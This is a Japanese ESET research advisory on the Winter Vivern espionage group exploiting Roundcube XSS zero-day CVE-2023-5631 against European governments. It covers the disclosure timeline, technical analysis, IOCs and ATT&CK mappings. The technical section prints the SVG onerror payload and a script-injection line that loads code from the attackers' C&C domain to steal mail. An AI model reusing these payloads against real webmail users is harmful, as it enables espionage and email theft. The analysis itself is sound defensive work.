Winter Vivern、Roundcube Webmailサーバーのゼロデイ脆弱性を攻撃

Roundcube Webmailを速やかに最新バージョンにアップデートすることをESETは推奨します。

ESETは、Winter Vivernのサイバースパイ活動を1年以上にわたって詳細に追跡してきましたが、定期的な監視の中で、同グループが2023年10月11日にRoundcubeのWebmailサーバーに存在するXSSのゼロデイ脆弱性の攻撃を開始したことを発見しました。このゼロデイの脆弱性は、CVE-2020-35730とは異なります。このCVE-2020-35730もWinter Vivernグループによって攻撃されていることがESET製品の調査で明らかになっています。

ESETのテレメトリデータ(監視データ)によると、このキャンペーンは、すべてヨーロッパにある政府機関やシンクタンクが使用しているRoundcube Webmailサーバーを標的としていました。

 

脆弱性が開示されるまでのタイムライン:

  • 2023年10月12日:ESET Researchはこの脆弱性をRoundcubeのチームに報告。
  • 2023年10月14日:Roundcubeのチームは報告に回答し、脆弱性の存在を確認。
  • 2023年10月14日:Roundcubeのチームはこの脆弱性のパッチを作成。
  • 2023年10月16日:Roundcubeのチームは、この脆弱性を解決するセキュリティアップデートをリリース(1.6.4、1.5.5、1.4.15)。
  • 2023年10月18日:ESET CNAは、この脆弱性に対する CVE(CVE-2023-5631)を発行。
  • 2023年10月25日:ESET Researchがこれらブログを公開。

ESETは、Roundcubeの開発者の方々が迅速に対応され、短期間に脆弱性にパッチを適用されたことに謝意を表します。

WINTER VIVERNとは?

Winter Vivernは2021年にDomainTools社によってその存在が初めて明らかにされたサイバースパイ集団です。少なくとも2020年から活動を開始しており、ヨーロッパと中央アジアの政府を標的にしていると考えられています。標的組織のセキュリティを侵害するために、このグループは悪意のある文書、フィッシングWebサイト、独自のPowerShellバックドアを使用しています(詳細はウクライナ国家サイバー保護センターとSentinelLabsの記事を参照)。ESETは、Winter Vivernが、2023年8月にESETが初めて公表した高度な技術力を有するベラルーシとつながりのあるMoustachedBouncerと関係していると可能性があると考えていますが、十分な確証は得られていません。

Winter Vivernは、少なくとも2022年以降、政府機関のZimbraとRoundcubeのメールサーバーを標的にしています。詳細は、Proofpointの記事を参照してください。ESETは、同グループが2023年8月と9月にRoundcubeの別のXSSの脆弱性(CVE-2020-35730)を攻撃していたことを確認しました。なお、APT28と呼ばれることもあるサイバー攻撃グループであるSednitも、Roundcubeのこの古いXSS脆弱性を攻撃しており、同じ標的を攻撃している場合もあります。

技術的詳細

CVE-2023-5631が割り当てられてたXSSの脆弱性を攻撃するには、特別に細工したメールメッセージを送信してリモートから実行できます。このWinter Vivernのキャンペーンでは、図1に示すように、team.managment@outlook[.]comからメールが送信され、Get started in your Outlookという件名が使用されていました。

しかし、図2のHTMLソースコードを確認したところ、最後にSVGタグがあり、base64エンコードされたペイロードが含まれていました。

useタグのhref属性でbase64エンコードされた値を復号化したところ、次のようになりました。

<svg id="x" xmlns="http://www.w3.org/2000/svg"> <image href="x" onerror="eval(atob('<base64-encoded payload>'))" /></svg>

href属性のx値の引数が有効なURLでないため、このオブジェクトのonerror属性が有効になります。onerror属性のペイロードを復号化すると、以下のJavaScriptコード(悪意のあるURLは手動で変更しています)が得られました。このJavaScriptコードは、被害者のブラウザでRoundcubeセッションの権限で実行されます。

var fe=document.createElement('script');fe.src="https://recsecas[.]com/controlserver/checkupdate.js";document.body.appendChild(fe);

驚くべきことに、このJavaScriptを挿入する攻撃は、パッチが完全に適用されたRoundcubeのインスタンスでも動作していました。これは、サーバー側のスクリプトrcube_washtml.phpに影響するXSSのゼロデイ脆弱性であることが判明しました。これは、悪意のあるSVGドキュメントが、Roundcubeユーザーが解釈するHTMLページに追加される前に、適切にサニタイズされない問題です。ESETはこの問題をRoundcubeに報告したところ、2023年10月14日にパッチが適用されました(このコミットを参照)。この脆弱性は、Roundcubeのバージョン1.6.x(1.6.4以前)、1.5.x(1.5.5以前)、1.4.x(1.4.15以前)に影響します。

要約すると、攻撃者は特別に細工したメールメッセージを送信することで、Roundcubeユーザーのブラウザウィンドウの権限で任意のJavaScriptコードをロードすることが可能になります。Webブラウザでメッセージを見るだけで、攻撃を受けることになります。

第2ステージでは、checkupdate.jsという名前の簡易なJavaScriptローダーが使用されます。このローダーを、図3に示します。

最終的に使用されるJavaScriptペイロード(図4を参照)は、現在のRoundcubeアカウント内のフォルダとメールをリストアップし、https://recsecas[.]com/controlserver/saveMessageへのHTTPリクエストを作成し、メールメッセージをC&Cサーバー送信します。

結論

Winter Vivernは、Roundcubeのゼロデイ脆弱性を使用して、攻撃キャンペーンを強化しています。過去には、RoundcubeとZimbraの既知の脆弱性を攻撃していました。これらの脆弱性のPoC(概念実証)はオンラインで入手可能になっています。

Winter Vivernは、攻撃を繰り返しており、定期的にフィッシングキャンペーンを実施していること、また、脆弱性があることが知られているにもかかわらず、インターネットに接続する多くのアプリケーションが定期的にアップデートされていないことから、ヨーロッパの政府機関にとって脅威となっています。

IOC(セキュリティ侵害の痕跡)

ファイル

SHA-1ファイル名検出説明
97ED594EF2B5755F0549C6C5758377C0B87CFAE0checkupdate.jsJS/WinterVivern.BJavaScriptローダー。
8BF7FCC70F6CE032217D9210EF30314DDD6B8135N/AJS/Kryptik.BIKRoundcubeのメールを外部に送信するJavaScriptペイロード。

ネットワーク

IPドメインホスティングプロバイダー最初に確認された日付詳細
38.180.76[.]31recsecas[.]comM247 Europe SRL2023年9月28日Winter VivernのC&Cサーバー。

メールアドレス

team.managment@outlook[.]com

MITRE ATT&CKの技術

この表は、MITRE ATT&CKフレームワークのバージョン13を使用して作成されています。

手法ID名前説明
リソース開発T1583.001インフラストラクチャの取得:ドメインWinter VivernのオペレーターはRegistrar.euでドメインを購入しました。
T1583.004インフラストラクチャの取得:サーバーWinter VivernのオペレーターはM247でサーバーをレンタルしています。
T1587.004能力の開発エクスプロイトWinter Vivernのオペレーターは、Roundcubeのエクスプロイトを開発した可能性があります。
初期アクセスT1190インターネットに接続するアプリケーションの攻撃Winter Vivernは、Roundcubeに存在する脆弱性(CVE 2023-5631)を攻撃するメールを送信しています。
T1566フィッシングこの脆弱性はフィッシングメールを起点として攻撃され、Roundcube Webmailでメールを開いたときに被害を受けます。
実行T1203クライアントを実行するための攻撃RoundcubeのXSSの脆弱性により、JavaScriptのペイロードが実行されます。
検出T1087.003アカウント情報の探索メールアカウントJavaScriptのペイロードは、メールアカウントのフォルダのリストを作成できます。
収集T1114.002メールの収集:リモートからのメールの収集JavaScriptペイロードは、Roundcubeアカウントからメールを外部に送信できます。
C&C(コマンド&コントロール)T1071.001アプリケーションレイヤープロトコル:WebプロトコルC&Cとの通信では、HTTPSが使用されます。
情報の外部への送信T1041C&Cチャネルからの送信外部への送信はHTTPS経由で、同じC&Cサーバーに対して行われます。